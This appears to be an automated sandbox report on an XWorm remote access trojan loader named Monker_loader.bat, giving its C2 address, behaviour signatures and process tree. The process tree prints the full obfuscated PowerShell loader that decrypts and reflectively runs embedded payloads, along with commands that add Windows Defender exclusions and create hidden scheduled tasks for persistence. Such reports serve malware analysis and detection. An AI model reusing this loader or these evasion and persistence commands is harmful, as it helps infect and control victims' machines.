Analysis

  • max time kernel
    24s
  • max time network
    38s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07/06/2024, 22:18

General

  • Target
    Monker_loader.bat
  • Size 294KB
  • Sample240607-18b5msed58
  • SHA256 ebd66fd9265f312babcebc214c9e23433e0c0e88504c5859f034bdacffd54ddb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • 135.125.21.87:7000

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 57 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Monker_loader.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:4652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YEfma8Fsqpo8Nxcmsh2LlMT5phz3RC1od46Bs4haKuk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bS7q7G7pSQFFezaTbyErVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HUiNZ=New-Object System.IO.MemoryStream(,$param_var); $wYjxe=New-Object System.IO.MemoryStream; $eamGN=New-Object System.IO.Compression.GZipStream($HUiNZ, [IO.Compression.CompressionMode]::Decompress); $eamGN.CopyTo($wYjxe); $eamGN.Dispose(); $HUiNZ.Dispose(); $wYjxe.Dispose(); $wYjxe.ToArray();}function execute_function($param_var,$param2_var){ $ddqEY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KPhFH=$ddqEY.EntryPoint; $KPhFH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Monker_loader.bat';$zudcm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Monker_loader.bat').Split([Environment]::NewLine);foreach ($XVfwy in $zudcm) { if ($XVfwy.StartsWith(':: ')) { $bxXKt=$XVfwy.Substring(3); break; }}$payloads_var=[string[]]$bxXKt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3080
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_206_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_206.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4284
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_206.vbs"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2732
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_206.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1612
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:640
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:852
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YEfma8Fsqpo8Nxcmsh2LlMT5phz3RC1od46Bs4haKuk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bS7q7G7pSQFFezaTbyErVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HUiNZ=New-Object System.IO.MemoryStream(,$param_var); $wYjxe=New-Object System.IO.MemoryStream; $eamGN=New-Object System.IO.Compression.GZipStream($HUiNZ, [IO.Compression.CompressionMode]::Decompress); $eamGN.CopyTo($wYjxe); $eamGN.Dispose(); $HUiNZ.Dispose(); $wYjxe.Dispose(); $wYjxe.ToArray();}function execute_function($param_var,$param2_var){ $ddqEY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KPhFH=$ddqEY.EntryPoint; $KPhFH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_206.bat';$zudcm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_206.bat').Split([Environment]::NewLine);foreach ($XVfwy in $zudcm) { if ($XVfwy.StartsWith(':: ')) { $bxXKt=$XVfwy.Substring(3); break; }}$payloads_var=[string[]]$bxXKt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Drops startup file
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:4912
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:732
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2888
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Win32'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1444
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Win32'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4140
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Win32" /tr "C:\Users\Admin\AppData\Roaming\Win32"
                  6⤵
                  • Creates scheduled task(s)
                  PID:640

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 4e7d84280fb856630e1820a1f4571b87daf3bb6c71e5c2795772856739ee5328
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 11b88bee852b85d1e8cc5dacff3b0cc2782cb37c1d93634a2199dd845615ca78
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 529811e4d3496c559f3bd92cd877b93b719c3ac4834202aa76ab9e16e25f9319
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_gx4onaky.gfi.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gx4onaky.gfi.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            startup_str_206.bat

            • Path C:\Users\Admin\AppData\Roaming\startup_str_206.bat
            • Size 294KB
            • SHA256 ebd66fd9265f312babcebc214c9e23433e0c0e88504c5859f034bdacffd54ddb
            • MD5 SHA1 SHA512 SSDEEP

            startup_str_206.vbs

            • Path C:\Users\Admin\AppData\Roaming\startup_str_206.vbs
            • Size 115B
            • SHA256 11e38d004e6f6fa01f560c188596d552da28ba2d5257f0413c779ec9493504d3
            • MD5 SHA1 SHA512

            memory/3080-11-0x00007FFB0AEE0000-0x00007FFB0B9A2000-memory.dmp

            memory/3080-14-0x0000028EF9B30000-0x0000028EF9B6A000-memory.dmp

            memory/3080-13-0x0000028EF9AF0000-0x0000028EF9AF8000-memory.dmp

            memory/3080-12-0x00007FFB0AEE0000-0x00007FFB0B9A2000-memory.dmp

            memory/3080-0-0x00007FFB0AEE3000-0x00007FFB0AEE5000-memory.dmp

            memory/3080-10-0x00007FFB0AEE0000-0x00007FFB0B9A2000-memory.dmp

            memory/3080-9-0x0000028EF9B00000-0x0000028EF9B22000-memory.dmp

            memory/3080-93-0x00007FFB0AEE3000-0x00007FFB0AEE5000-memory.dmp

            memory/3080-94-0x00007FFB0AEE0000-0x00007FFB0B9A2000-memory.dmp

            memory/4912-43-0x000002904E340000-0x000002904E358000-memory.dmp